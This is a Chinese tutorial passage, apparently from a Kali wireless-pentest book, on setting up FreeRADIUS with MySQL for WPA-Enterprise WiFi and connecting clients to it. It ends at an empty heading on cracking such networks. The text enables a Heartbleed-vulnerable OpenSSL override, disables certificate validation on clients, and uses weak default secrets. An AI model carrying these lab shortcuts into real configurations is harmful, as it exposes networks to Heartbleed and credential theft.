kali无线渗透之WPA+RADIUS的原理和配置和加密和解密和防护15

RADIUS简介

RADIUS(Remote Authentication Dial In User Service,远端用户拨入验证服务)是一个AAA协议,即同时兼顾验证(Authentication)、授权(Authonization)及计费(Accounting)3种服务的一种网络传输协议。本节将对RADIUS协议做一个简单介绍。

什么是RADIUS协议

RADIUS是一种在网络接入服务器(NetworkAccessServer)和共享认证服务器间传输认证授权和配置信息的协议。它采用客户端/服务器结构。路由器或NAS上运行的AAA程序对用户来讲是作为服务端,对RADIUS服务器来讲是作为客户端。RADIUS通过建立一个唯一的用户

数据库存储用户名和密码来进行验证。存储传递给用户的服务类型以及相应的配置信息来完成授权。当用户上网时,路由器决定对用户采用何种验证方法。

RADIUS还支持代理和漫游功能。简单地说,代理就是一台服务器,可以作为其他RADIUS服务器的代理,负责转发RADIUS认证和计费数据包。所谓漫游功能,就是代理的一个具体实现,这样可以让用户通过本来和其无关的RADIUS服务器进行认证。

RADIUS主要特征如下所示。

客户/服务器模式。

网络安全

灵活认证机制

协议的可扩充性

RADIUS的工作原理

RADIUS原先的目的是为按号用户进行认证和计费。后来经过多次改进,形成了一项通用的认证计费协议。该协议主要完成在网络接入设备和认证服务器之间承载认证、授权、计费和配置信息。下面将介绍RADIUS服务的工作原理,如图

简单地显示了RADIUS服务工作的模型,下面对该过程进行详细介绍。如下所述。

(1)客户端接入NAS,NAS向RADIUS服务器使用Access-Require数据包提交用户信息,包括用户名和密码等相关信息。其中,用户密码是经过MD5加密的,双方使用共享密钥,这个密钥不经过网络传播。

(2)RADIUS服务器对用户名和密码的合法性进行校验,必要时可以提出一个Challenge,要求进一步对用户认证,也可以对NAS进行类似的认证。

(3)如果合法,则给NAS返回Access-Accept数据包,允许用户进行下一步工作,否则返回Access-Reject数据包,拒绝用户访问。如果允许访问,NAS向RADIUS服务器提出计费请求Account-Require,RADIUS服务器响应Accoumt-Accept。此时,将开始对用户计费,同时用户也可以进行自己的相关操作。

RADIUS服务器和NAS服务器通过UDP协议进行通信,RADIUS服务器的1812端口负责认证,1813端口负责计费工作。这里使用UDP协议,是因为NAS和RADIUS服务器大多在同一个局域网中,使用UDP协议更加快捷方便。

RADIUS协议还规定了重传机制。如果NAS向某个RADIUS服务器提交请求没有收到返回信息,那么可以要求备份RADIUS服务器重传。由于有多个备份RADIUS服务器,因此NAS进行重传的时候,可以采用轮询的方法。如果备份RADIUS服务器的密钥和以前RADIUS服务器的密钥不同,则需要重新进行认证。

搭建RADIUS服务

通过前面的介绍,用户对RADIUS服务有了详细的认识。接下来将介绍搭建RADIUS服务的方法。目前,通常使用FreeRadius开源软件来搭建Radius服务。Freeradius是一个模块化,高性能并且功能丰富的一套RADIUS程序。该程序包括服务器、客户端、开发库及一些额外的相关RADIUS工具。

安装RADIUS服务

通常情况下,服务器都会安装到服务性(比较稳定)的操作系统中(如RHEL和Windows Server 2008)。本书只是为了简单的模拟一个实验环境,所以将介绍在Kali Linux上搭建RADIUS服务。

使用FreeRadius软件安装RADIUS服务。

具体操作步骤如下所述。

从官方网站http://freeradius.org/下载最新稳定版本的FreeRadius软件包,其软件包名为freeradius-server-2.2.6.tar.gz。本例中,将下载好的文件保存到/root目录中。

解压FreeRadius软件包。执行命令如下所示,

 tar zxvf freeradius-server-2.2.6.tar.gz

执行以上命令后,将在/oot日录中解压出一个名为freeradius-server-2.2.6的文件。

配置FreeRadius软件包。执行命令如下所示。

root@kali:-# cd freeradius-server-2.2.6/#切换到解压

root@kali:~/freeradius-server-2.2.6# ./configure#配置软件

编译FreeRadius软件包。执行命令如下所示。

root@kali:~/freeradius-server-2.2.6# make

安装FreeRadius软件包。执行命令如下所示。

root@kali:-/freeradius-server-2.2.6# make install

成功执行以上命令后,FreeRadius软件包就安装成功了,也就是说RADIUS服务搭建完成。此时,用户也就可以启动该服务。

为了更清楚地查看RADIUS服务启动过程加载的信息,这里以调试模式运行该服务。执行命令如下所示。

root@localhost:~/freeradius-server-2.2.6# radiusd -s -X

如果正常启动后,将显示如下信息:

radiusd: FreeRADIUS Version 2.2.6, for host x86_64-unknown-linux-gnu, built on Dec 15 2014 at

09:13:13

Copyright (C) 1999-2013 The FreeRADIUS server project and contributors.

There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A

PARTICULAR PURPOSE.

You may redistribute copies of FreeRADIUS under the terms of the

GNU General Public License.

For more information about these matters, see the file named COPYRIGHT.

Starting - reading configuration files ...

including configuration file /usr/local/etc/raddb/radiusd.conf

including configuration file /usr/local/etc/raddb/proxy.conf

including configuration file /usr/local/etc/raddb/clients.conf

including files in directory /usr/local/etc/raddb/modules/

including configuration file /usr/local/etc/raddb/modules/pap

including configuration file /usr/local/etc/raddb/modules/smbpasswd

including configuration file /usr/local/etc/raddb/modules/sqlcounter_expire_on_login

including configuration file /usr/local/etc/raddb/modules/detail.log

including configuration file /usr/local/etc/raddb/modules/radutmp

......

listen {

type = "acct"

ipaddr = *

port = 0

}

listen {

type = "control"

listen {

socket = "/usr/local/var/run/radiusd/radiusd.sock"

}

}

listen {

type = "auth"

ipaddr = 127.0.0.1

port = 18120

}

... adding new socket proxy address * port 46339Listening on authentication address * port 1812

Listening on accounting address * port 1813

Listening on command file /usr/local/var/run/radiusd/radiusd.sock

Listening on authentication address 127.0.0.1 port 18120 as server inner-tunnel

Listening on proxy address * port 1814

Ready to process requests.

执行以上命令后,将输出大量的信息。由于篇幅的原因,中间部分内容使用省略号(......)取代。从最后显示的几行信息中可以看到,监听的认证地址端口为1812、审计地址端口为1813、代理地址端口为1814。最后一行信息表示准备处理请求。当有客户端连接时,将会看到服务器收到的请求及响应的信息。

以上是RADIUS服务正常启动后的输出信息。

但是,由于某些原因可能导致服务启动失败。常见的问题有两个,第一,需要更新动态链接库;第二,需要设置允许使用Openssl的漏洞版本启动RADIUS服务。下面来看下如果不出现以上错误,将会提示怎样的信息,以及如何解决该问题。如下所述

1.更新动态链接库问题

由于使用源码编译安装的RADIUS服务器文件将被创建在不同的位置,这时候系统将可能搜索不到一些库文件。所以,用户就需要使ldconfig命令更新动态链接库。否则可能提示无法找到共享库,其提示信息如下所示。

radiusd: error while loading shared libraries: libfreeradius-radius-020206.so: cannot open shared

object file: No such file or directory

从以上信息中可以看到加载共享库出错。所以,用户需要更新动态库,使缓存重新加载。执行命令如下所示。

root@kali:/freeradius-server-2.2.6# ldconfig

执行以上命令后,将不会再出现以上错误信息。

2Openssl漏洞问题

Kali Linux中,默认安装的Openssl版本是1.0.1e。由于在该版本中

存在Heartbleed(心脏出血)漏洞,这时候将拒绝RADIUS服务启动。提

示信息如下所示:

Refusing to start with libssl version OpenSSL 1.0.1e 11 Feb 2013 (in range 1.0.1 - 1.0.1f).

Security advisory CVE-2014-0160 (Heartbleed)

For more information see http://heartbleed.com

此时,在RADIUS服务的主配置文件中设置允许即可。编辑配置文件radiusd.conf,并修改allow_vulnerable_openssl配置项的值。如下所示。

root@localhost:/usr/local/etc/raddb# vi radiusd.conf

allow_vulnerable_openssl=yes

这里将以上选项的值设置为yes,然后保存并退出radiusd.conf文件。此时,即可正常启动RADIUS服务。但是,如果要使用该服务,还需要进行详细的配置才可以。下面将介绍如何配置RADIUS服务器

配置文件介绍

由于安装完RADIUS服务器后,有很多个文件需要修改。所以,在介绍配置RADIUS服务之前,首先介绍这些配置文件的安装位置及每个文件的作用。

使用二进制包和源码包安装后的文件的位置不同。其中,如果使用进制包安装的话,CentOS和SLES系统的配置文件默认将保存在/etc/raddb中;Ubuntu系统将保存在/etc/freeradius中。如果是使用源码编译安装的话,默认将保存/usr/ocal/etc/raddb目录中。在该目录中包括好多个配置文件,如下所示。

root@kali:/usr/local/etc/raddb# ls

acct_users attrs.accounting_response dictionary hints panic.gdb proxy.conf sql

users

attrs attrs.pre-proxy eap.conf huntgroups policy.conf radiusd.conf sql.conf

attrs.access_challenge certs example.pl ldap.attrmap policy.txt sites-available

sqlippool.conf

attrs.access_reject clients.conf experimental.conf modules preproxy_users sites-enabled

templates.conf

从输出的信息中可以看到有很多个文件。下面将介绍几个重要的配置文件,如下所述。

radiusd.conf:主配置文件。

users:用户账号配置文件。

eap.conf:设置加密方式。

client.conf: RADIUS客户端配置文件。

sites-enable/default:认证、授权和计费配置文件。

sites-enable/inner-tunnel:虚拟服务配置文件。

sql.conf:与数据库连接的配置文件。

sql:在该目录下有许多sql语句文件,用来创建radius数据库表的。

certs/bootstrap:用于生成证书的可执行文件。

了解这些配置文件后,用户就可以对RADIUS进行简单的配置,然后测试该服务了。FreeRADIS默认配置了一个客户端localhost,用户可以使用该默认客户端来测试RADIUS服务。下面介绍一个简单的配置,如下所述。

1)默认配置的客户端配置文件是clients.conf,其配置信息如下所示。

root@kali:/usr/local/etc/raddb# vi clients.conf

client localhost {

ipaddr = 127.0.0.1

secret = testing123

require_message_authenticator = no

nastype = other

}

2)创建一个测试用户。在users文件中添加测试用户的相关信息,如下所示。

root@kali:/usr/local/etc/raddb# vi users

"alice" Cleartext-Password := "passme"

Framed-IP-Address = 192.168.1.10,

Reply-Message = "Hello, %{User-Name}"

添加以上信息,然后保存并退出users文件。注意,以上内容中的第

二行和第三行前面使用的是TAB键分割。(3)启动RADIUS服务。为了可以看到启动该服务过程中输出的

详细信息,下面以调试模式启动该服务。执行命令如下所示。

root@kali:# radiusd -s -X

radiusd: FreeRADIUS Version 2.2.6, for host x86_64-unknown-linux-gnu, built on Dec 19 2014 at

15:15:35

Copyright (C) 1999-2013 The FreeRADIUS server project and contributors.

There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A

PARTICULAR PURPOSE.

You may redistribute copies of FreeRADIUS under the terms of the

GNU General Public License.

For more information about these matters, see the file named COPYRIGHT.

Starting - reading configuration files ...

including configuration file /usr/local/etc/raddb/radiusd.conf

including configuration file /usr/local/etc/raddb/proxy.conf

including configuration file /usr/local/etc/raddb/clients.conf

including files in directory /usr/local/etc/raddb/modules/

including configuration file /usr/local/etc/raddb/modules/pap

including configuration file /usr/local/etc/raddb/modules/smbpasswd

including configuration file /usr/local/etc/raddb/modules/sqlcounter_expire_on_login

......

listen {

type = "auth"

ipaddr = 127.0.0.1

port = 18120

}

... adding new socket proxy address * port 41713

Listening on authentication address * port 1812

Listening on accounting address * port 1813

Listening on command file /usr/local/var/run/radiusd/radiusd.sock

Listening on authentication address 127.0.0.1 port 18120 as server inner-tunnel

Listening on proxy address * port 1814

Ready to process requests.

看到以上输出信息(Ready to process requests),表示RADIUS服务

已成功启动。

4)测试RADIUS服务器。这里可以使用radtest命令来测试,其语法格式如下所示。

radtest [选项] user passwd radius-server[:port] nas-port-number secret [ppphint] [nasname]

以上语法中常用参数含义如下所示。

以上语法中常用参数含义如下所示。

user:用于登录认证的用户

passwd:认证用户的密码。

radius-server:RADIUS服务器的IP地址。

nas-port-number:NAS服务端口号。

secret:RADIUS服务和AP的共享密钥。

nasname:NAS名称。

下面使用前面创建的alice用户认证连接服务器,执行命令如下所

root@kali:# radtest alice passme 127.0.0.1 100 testing123

Sending Access-Request of id 122 to 127.0.0.1 port 1812

User-Name = "alice"

User-Password = "passme"

NAS-IP-Address = 221.204.244.37

NAS-Port = 100

Message-Authenticator = 0x00000000000000000000000000000000

rad_recv: Access-Accept packet from host 127.0.0.1 port 1812, id=122, length=39

Framed-IP-Address = 192.168.1.10

Reply-Message = "Hello,alice"

从以上输出的信息中可以看到,RADIUS服务正确响应了alice用户的请求,这表示RADIUS服务可以工作正常。

注意: 如果使用虚拟机搭建RADIUS服务作为认证的话,建议使用桥接模式连接到网络。否则,将会导致客户端无法连接到无线网络。

设置WPA+RADIUS加密

通过前面的介绍,用户可以很顺利的将RADIUS服务搭建好。接下

来就可以通过配置RADIUS服务,来实现WPA+RADIUS加密模式的

WiFi网络。本节将介绍如何设置WPA+RADIUS加密模式。

配置RADIUS服务

RADIUS服务默认安装的配置文件较多,前面也对常用的文件进行

了简单的介绍。下面将介绍如何配置RADIUS服务。

通常配置RADIUS服务,需要配置radiusd.confeap.conf

clients.confsql.confdefaultinner-tunnel6个文件。下面将分别介绍如

何修改这几个配置文件,并且介绍需要配置的参数的作用。如下所述。

1.修改配置文件radiusd.conf

依次修改以下内容。

1)修改该文件的log部分,需要更改的配置项如下所示。root@kali:/usr/local/etc/raddb# vi radiusd.conf

auth = yes

auth_badpass = yes

auth_goodpass = yes

以上选项的默认值是no。这里将它们修改为yes,表示要将认证信

息记录到RADIUS服务的日志文件中。使用源码安装的RADIUS服务,

日志文件默认保存在/usr/local/var/log/radius/目录中。当有日志信息产生

时,将会在该目录中生成一个名为radius.log的文件。但是,如果以调试

模式启动RADIUS服务的话,将不会记录日志信息。

2)修改延长发送认证失败之前的暂停秒数。为防止爆破,设置

5秒。默认是1秒,修改后信息如下所示。

reject_delay = 5

3)启用MySQL认证。所以,把$INCLUDE sql.conf前面的注释

#)取消掉,如下所示。

# $INCLUDE sql.conf

修改后,如下所示。

$INCLUDE sql.conf

2.修改eap.conf文件

依次修改以下内容。

1)将eap部分的default_eap_type值修改为peap加密方式。如下所

示。default_eap_type = peap

2)将peap部分的default_eap_type值修改为mschapv2加密。如下

所示。

default_eap_type = mschapv2

3.修改配置文件clients.conf

设置允许使用RADIUS服务的设备。在该配置文件中添加如下内

容:

root@kali:/usr/local/etc/raddb# vi clients.conf

client 192.168.1.1 { #客户端的IP地址,这里指定了AP的地址

secret = testing123 #APRADIUS服务连接的共享密码

shortname = Test #客户端代号,可以随便填写。这里输入了AP

SSID名称

nastype = other #NAS的类型

}

以上添加了一个AP客户端的信息。用户也可以指定某一个客户

端,或者一个大范围网段的主机。如允许192.168.0.0网段的主机,可以

使用client 192.168.0.0/24进行设置。具体配置如下所示。

client 192.168.0.0/24 {

secret = testing123

shortname = TestAP

nastype = other

}

4.修改sql.conf文件该文件中保存了数据库与RADIUS服务进行连接的信息。

具体配置项如下所示。

sql {

database = "mysql" #使用MySQL数据库存储用户

driver = "rlm_sql_${database}" #使用的RADIUS服务驱动

server = "localhost" #MySQL数据库服务的地址

login = "radius" #登录数据库用户名(可以指定root用户)

password = "radpass" #数据库radius的登录密码

radius_db = "radius" #数据库名

}

该文件可以使用默认设置与RADIUS服务建立连接。如果用户想更

好地理解该文件中的配置,也可以设置各选项。本例中,使用默认配

置。

5.修改site-enable/default文件

启用SQL模块。将该文件中的authorize部分中sql行前面的注释

#)去掉,在files前面添加注释(#)。修改后如下所示。

authorize {

......

# Read the 'users' file

# files

#

# Look in an SQL database. The schema of the database

# is meant to mirror the "users" file.

#

# See "Authorization Queries" in sql.conf

sql

......

}

6.配置虚拟服务器文件sites-enabled/innertunnel

将该文件中的authorize部分中sql行前面的注释(#)去掉,在files

面添加注释(#)。修改后如下所示。

authorize {

......

# Read the 'users' file

# files

#

# Look in an SQL database. The schema of the database

# is meant to mirror the "users" file.

#

# See "Authorization Queries" in sql.conf

sql

......

}

通过以上方法,RADIUS服务就配置好了。

以上配置,选择使用MySQL数据库来存储用户信息。

所以,接下来将需要配置MySQL数据库。

配置MySQL数据库服务

FreeRADIUS中提供了数据库需要的文件,这些文件默认保存在安装目录的子目录sql下面。在Kali Linux系统中,默认已经安装了MySQL数据库。所以,下面将直接介绍MySQL的配置。具体操作步骤如下所述。

(1)创建数据库radius

本例中,为MySQL数据库默认的root用户

设置了密码,其密码为123456。所以,在使用root用户进行操作时,需

要使用-p选项来输入密码。创建radius数据库,执行命令如下所示。

root@kali:# mysqladmin -u root -p create radius

Enter password: #输入root用户的密码

执行以上命令后,如果没有显示错误信息,则表示成功创建了

radius数据库。

2)为radius数据库创建一个管理用户。

这里以FreeRADIUS软件提供的admin.sql文件作为模板,来创建管理用户。导入admin.sql数据

库,执行命令如下所示。

root@kali:# mysql -u root -p < /usr/local/etc/raddb/sql/mysql/admin.sql

3)创建数据库架构,使用FreeRADIUS软件提供的schema.sql文 件为模板。导入schema.sql数据库

root@kali:# mysql -u root -p radius < /usr/local/etc/raddb/sql/mysql/schema.sql

4)为radius数据库创建一个测试用户。下面创建一个名为bob的用户,如下所示。

root@kali:# mysql -u root -p radius #登录radius数据库

Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 46

Server version: 5.5.40-0+wheezy1 (Debian)

Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its

affiliates. Other names may be trademarks of their respective

owners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> INSERT INTO radcheck (username,attribute,op,value) VALUES ('bob','Cleartext

Password',':=','passbob');

Query OK, 1 row affected (0.01 sec)

mysql> INSERT INTO radreply (username,attribute,op,value) VALUES ('bob','Reply-Message','

=','Hello Bob!');

Query OK, 1 row affected (0.01 sec)

mysql> exit

Bye

root@kali:#

通过以上方法MySQL数据库服务就配置完了。接下来就可以启动RADIUS服务,以确定能正常与MySQL服务建立连接。为了可以看到更详细的信息,下面以调试模式启动RADIUS服务,执行命令如下所示。

root@kali:# radiusd -s -X

启动RADIUS服务的调试模式后,将会看到有大量的rlm_sql信息。

这表明SQL模块被加载。如果SQL模块被正确加载后,RADIUS服务将

成功启动。如果SQL模块不能被正确加载,将出现如下错误信息:

Could not link driver rlm_sql_mysql: rlm_sql_mysql.so: cannot open shared object file: No such file

or directory

Make sure it (and all its dependent libraries!) are in the search path of your system's ld.

/usr/local/etc/raddb/sql.conf[22]: Instantiation failed for module "sql"

/usr/local/etc/raddb/sites-enabled/default[177]: Failed to find "sql" in the "modules" section.

/usr/local/etc/raddb/sites-enabled/default[69]: Errors parsing authorize section.

出现以上错误信息是因为找不到驱动包的错误。具体解决方法如下所示。

1)安装libmysqlclient-dev文件。
2)重新编译SQL模块。如下所示。root@kali:# cd freeradius-server-2.2.6/src/modules/rlm_sql/drivers/rlm_sql_mysql/

#切换到SQL模块位置

root@kali:/freeradius-server-2.2.6/src/modules/rlm_sql/drivers/rlm_sql_mysql# ./configure

--with-mysql-dir=/var/lib/mysql --with-lib-dir=/usr/lib/mysql #配置MySQL库文件

root@kali:/freeradius-server-2.2.6/src/modules/rlm_sql/drivers/rlm_sql_mysql# make #编译

root@kali:/freeradius-server-2.2.6/src/modules/rlm_sql/drivers/rlm_sql_mysql# make install

#安装

如果执行以上命令没有报错的话,就表示成功安装了需要的驱动

包。此时,即可正常启动RADIUS服务。

3)再次重新启动RADIUS服务,成功启动后将显示如下所示的
信息:

root@localhost:# radiusd -s -X

radiusd: FreeRADIUS Version 2.2.6, for host x86_64-unknown-linux-gnu, built on Dec 15 2014 at

09:13:13

Copyright (C) 1999-2013 The FreeRADIUS server project and contributors.

There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A

PARTICULAR PURPOSE.

You may redistribute copies of FreeRADIUS under the terms of the

GNU General Public License.

For more information about these matters, see the file named COPYRIGHT.

Starting - reading configuration files ...

including configuration file /usr/local/etc/raddb/radiusd.conf

including configuration file /usr/local/etc/raddb/proxy.conf

including configuration file /usr/local/etc/raddb/clients.conf

.....

rlm_sql (sql): Connected new DB handle, #29

rlm_sql (sql): starting 30

rlm_sql (sql): Attempting to connect rlm_sql_mysql #30

rlm_sql_mysql: Starting connect to MySQL server for #30

rlm_sql (sql): Connected new DB handle, #30

rlm_sql (sql): starting 31

rlm_sql (sql): Attempting to connect rlm_sql_mysql #31

rlm_sql_mysql: Starting connect to MySQL server for #31

rlm_sql (sql): Connected new DB handle, #31Module: Checking preacct {...} for more modules to load

Module: Linked to module rlm_acct_unique

Module: Instantiating module "acct_unique" from file /usr/local/etc/raddb/modules/acct_unique

acct_unique {

key = "User-Name, Acct-Session-Id, NAS-IP-Address, NAS-Identifier, NAS-Port"

}

Module: Linked to module rlm_files

Module: Instantiating module "files" from file /usr/local/etc/raddb/modules/files

files {

usersfile = "/usr/local/etc/raddb/users"

acctusersfile = "/usr/local/etc/raddb/acct_users"

preproxy_usersfile = "/usr/local/etc/raddb/preproxy_users"

compat = "no"

}

......

listen {

type = "auth"

ipaddr = 127.0.0.1

port = 18120

}

... adding new socket proxy address * port 56762

Listening on authentication address * port 1812

Listening on accounting address * port 1813

Listening on command file /usr/local/var/run/radiusd/radiusd.sock

Listening on authentication address 127.0.0.1 port 18120 as server inner-tunnel

Listening on proxy address * port 1814

Ready to process requests.

从以上输出信息中可以看到加载的rlm_sql模块。如果看到Ready to

process requests,则表示该服务成功启动。

4)测试使用MySQL数据库存储用户的RADIUS服务器。下面使用前面创建的bob用户登录认证RADIUS服务器,执行命令如下所示。

root@kali:/usr/local/etc/raddb# radtest bob passbob 127.0.0.1 100 testing123

Sending Access-Request of id 5 to 127.0.0.1 port 1812

User-Name = "bob"User-Password = "passbob"

NAS-IP-Address = 221.204.244.37

NAS-Port = 100

Message-Authenticator = 0x00000000000000000000000000000000

rad_recv: Access-Accept packet from host 127.0.0.1 port 1812, id=5, length=32

Reply-Message = "Hello Bob!"

从以上输出的信息中可以看到,bob用户成功通过了RADIUS服务器的认证,并收到响应信息"Hello Bob!"。此时,返回到RADIUS服务的调试模式,将看到如下所示信息:

rad_recv: Access-Request packet from host 127.0.0.1 port 43407, id=91, length=73

User-Name = "bob"

User-Password = "passbob"

NAS-IP-Address = 221.204.244.37

NAS-Port = 100

Message-Authenticator = 0x621ae3319fa83e2f349604a955fcaa44

# Executing section authorize from file /usr/local/etc/raddb/sites-enabled/default

+group authorize {

++[preprocess] = ok

++[chap] = noop

++[mschap] = noop

++[digest] = noop

[suffix] No '@' in User-Name = "bob", looking up realm NULL

[suffix] No such realm "NULL"

++[suffix] = noop

[eap] No EAP-Message, not doing EAP

++[eap] = noop

[sql] expand: %{User-Name} -> bob

[sql] sql_set_user escaped user --> 'bob'

rlm_sql (sql): Reserving sql socket id: 31

......

++[sql] = ok

++[expiration] = noop

++[logintime] = noop

++[pap] = updated

+} # group authorize = updated

Found Auth-Type = PAP# Executing group from file /usr/local/etc/raddb/sites-enabled/default

+group PAP {

[pap] login attempt with password "passbob"

[pap] Using clear text password "passbob"

[pap] User authenticated successfully

++[pap] = ok

+} # group PAP = ok

Login OK: [bob/passbob] (from client localhost port 100)

# Executing section post-auth from file /usr/local/etc/raddb/sites-enabled/default

+group post-auth {

++[exec] = noop

+} # group post-auth = noop

Sending Access-Accept of id 91 to 127.0.0.1 port 43407

Reply-Message = "Hello Bob!"

Finished request 0.

Going to the next request

Waking up in 4.9 seconds.

Cleaning up request 0 ID 91 with timestamp +5

Ready to process requests.

从以上输出的信息中可以看到,显示了bob用户与RADIUS服务连接的详细过程。

配置WiFi网络

前面将RADIUS服务和MySQL数据库都已经配好,接下来在路由器中将加密模式设置为WAP+RADIUS模式。

下面以TP-LINK路由器为例,介绍配置WPA+RADIUS模式的方法。

设置路由器的加密模式为WPA+RADIUS。具体操作步骤如下所述。

1)登录路由器。本例中路由器的地址是192.168.1.1,登录用户名和密码都为admin

2)在路由器的左侧栏中依次选择无线设置”|“无线安全设置命令

3)在该界面选择WPA/WPA2加密方法,然后设置认证类型、加密算法、Radius服务器的IP及密码等。该加密方法,默认支持的认证类型包括WPAWPA2,加密算法默认支持TKIPAES。在本例中,将这两项设置为自动Radius服务器的IP就是在前面搭建RADIUS服务的主机的IP地址,Radius密码就是在clients.conf文件中设置的共享密钥,

默认是testing123。将这几个选项配置完成后,显示界面

  1. 以上就是本例中WPA+RADIUS加密模式的配置方法。设置完成后,单击保存按钮,并重新启动路由器。

连接RADIUS加密的WiFi网络

通过前面的详细介绍,WPA+RADIUS加密的WiFi网络就配置好了。接下来,用户就可以使用客户端进行连接。但是,要连接WPA+RADIUS加密的WiFi网络,还需要对客户端进行简单的设置。所

以,本节将介绍在不同的客户端连接WPA+RADIUS加密的WiFi网络的方法。

Windows下连接RADIUS加密的WiFi网络

下面将介绍如何在Windows 7中,连接到WPA+RADIUS加密的WiFi网络。具体操作步骤如下所述。

1)在桌面上选择网络图标,并单击右键选择属性命令,将打开界面

2)在该界面单击管理无线网络选项

3)从该界面可以看到,当前没有创建任何无线网络。此时,单 击添加按钮

4)在该界面选择添加网络的方法,这里选择手动创建网络配置 文件选项

5)在该界面输入要添加的无线网络的信息,如网络名、安全类型,以及加密类型等。本例中的网络名为Test、安全类型为WPA2-企业、加密类型为AES,如图10.7所示。然后单击下一步按钮

6)从该界面可以看到,已经成功添加了Test无线网络。但是,要想成功连接到该网络还需要一些其他设置。所以,这里选择更改连接设置选项,将显示如图10.9所示的界面。

7)该界面就是Test无线网络的属性界面,此时就可以对该无线网络进行设置。这里选择安全选项卡

8)在该界面单击选择网络身份验证方法后面的设置按钮,将显示如图10.11所示的界面。10.11 验证服务器证书

9)由于本例中使用的加密方式没有创建证书,所以这里将验证服务器证书前面的复选框取消。然后单击选择身份验证方法选项下面的配置按钮

10)在该界面将自动使用Windows登录名和密码(以及域,如果有的话)(A前面的复选框取消,然后单击确定按钮,将返回图所示的界面。此时,在该界面单击确定按钮,将返回上一个所示的界面。在该界面单击高级设置按钮

11)在该界面选择指定身份验证模式复选框,并选择用户或计算机身份验证方式。然后单击确定按钮,再次返回

界面。在该界面单击确定按钮

12)在该界面单击关闭按钮

13)从该界面可以看到,已成功创建了名为Test的无线网络。此时,就可以连接该网络了。在连接该网络之前,首先要确定RADIUS服务已成功启动。

14)返回Windows 7的桌面,单击右下角的 图标,即可看到搜索到的所有无线网络

15)在该界面选择要连接的无线网络Test

16)在该界面输入可以连接到WiFi网络的用户名和密码,本例中 的用户名和密码分别是bobpassbob。输入用户名和密码后单击确定按钮,即可连接到Test无线网络。当该客户端成功连接到Test网络后,RADIUS服务器的调试模式将会显示以下信息:

rad_recv: Access-Request packet from host 192.168.5.1 port 44837, id=58, length=142

User-Name = "bob"

NAS-IP-Address = 192.168.5.1

NAS-Port = 0

Called-Station-Id = "14-F6-5A-CE-EE-2A:Test"

Calling-Station-Id = "3C-43-8E-A4-40-63"

Framed-MTU = 1400

NAS-Port-Type = Wireless-802.11

Connect-Info = "CONNECT 0Mbps 802.11"

EAP-Message = 0x0200000801626f62

Message-Authenticator = 0x09399d3f99d3ec3177efe1c287dc4e71

# Executing section authorize from file /usr/local/etc/raddb/sites-enabled/default

+group authorize {

++[preprocess] = ok

++[chap] = noop

++[mschap] = noop

++[digest] = noop

[suffix] No '@' in User-Name = "bob", looking up realm NULL

[suffix] No such realm "NULL"

++[suffix] = noop

[eap] EAP packet type response id 0 length 8

[eap] No EAP Start, assuming it's an on-going EAP conversation

++[eap] = updated

[sql] expand: %{User-Name} -> bob

[sql] sql_set_user escaped user --> 'bob'

rlm_sql (sql): Reserving sql socket id: 31

......

++[eap] = ok

+} # group authenticate = ok

Login OK: [bob/<via Auth-Type = EAP>] (from client Test port 0 cli 14-F6-5A-CE-EE-2A)# Executing section post-auth from file /usr/local/etc/raddb/sites-enabled/default

+group post-auth {

++[exec] = noop

+} # group post-auth = noop

Sending Access-Accept of id 57 to 192.168.5.1 port 44837

MS-MPPE-Recv-Key = 0x2804fe94651f537a5b5164adb45f5efbaf788dd06e722f19b0d86d

8e499470c5

MS-MPPE-Send-Key = 0x86adf3a7fee3d402f7c6177a0494a7a43380721fe68e3c409023

dcc7ef179d98

EAP-Message = 0x03090004

Message-Authenticator = 0x00000000000000000000000000000000

User-Name = "bob"

Finished request 58.

Going to the next request

Waking up in 4.9 seconds.

Cleaning up request 49 ID 48 with timestamp +967

Cleaning up request 50 ID 49 with timestamp +967

Cleaning up request 51 ID 50 with timestamp +967

Cleaning up request 52 ID 51 with timestamp +967

Cleaning up request 53 ID 52 with timestamp +967

Cleaning up request 54 ID 53 with timestamp +967

Cleaning up request 55 ID 54 with timestamp +967

Cleaning up request 56 ID 55 with timestamp +967

Cleaning up request 57 ID 56 with timestamp +967

Cleaning up request 58 ID 57 with timestamp +967

Ready to process requests.

以上输出的信息是客户端连接服务器的详细信息,如客户端的Mac地址、使用的认证用户及密钥等。

Linux下连接RADIUS加密的WiFi网络

下面将介绍在Linux下(以Kali Linux为例),如何连接到WPA+RADIUS加密的WiFi网络中。具体操作步骤如下所述。

1)在Kali Linux系统的桌面单击右上角的 图标,将看到当前无线网卡搜索到的所有的无线网络

2)在该界面选择要连接的无线网络,这里选择Test,将打开如

3)在该界面设置用于网络认证的信息。如选择认证方式EAP

输入认证的用户和密码。

4)填写以上认证信息后,单击连接按钮

5)由于在该实验环境中没有创建CA证书,所以这里单击

按钮。如果不想每次都弹出该窗口的话,勾选以后不再警告复选框,然后单击忽略按钮,将开始连接Test无线网络。连接成功后,网络图标将显示为 形式。

移动客户端连接RADIUS加密的WiFi网络

通常情况下,用户会使用一些移动设备来连接WiFi网络。所以,下面将介绍如何在移动客户端下连接RADIUS加密的WiFi网络。这里以小米手机客户端为例,介绍连接WiFi网络的方法。具体操作步骤如下所述。

1)在手机上打开设置界面,然后选择WLAN选项开启WLAN功能。

2)在该界面可以看到,当前客户端已经成功连接到SSIDyzty

的无线网络,并且可以看到搜索到的其他无线网络。在该界面可以看到Test无线网络的加密方式是通过802.1x进行保护。这说明,该无线网络的加密方式使用了RADIUS服务。这里选择Test网络

3)在该界面配置Test网络,如加密方法、身份验证方法,身份及用户密码等。该界面的所有配置信息是可以滑动的,所以,

只显示了部分信息。设置完加密方法和身份验证后,向下滑动,将看到一个界面

  1. 在该界面的身份对应的文本框中输入登录的用户名,在密码文本框中输入登录用户的密码,如图10.23所示。在该界面设置的信息和在Linux客户端连接该网络的配置类似。设置完后单击连接按钮,如果配置正确,则可成功连接到Test网络。

破解RADIUS加密的WiFi网络

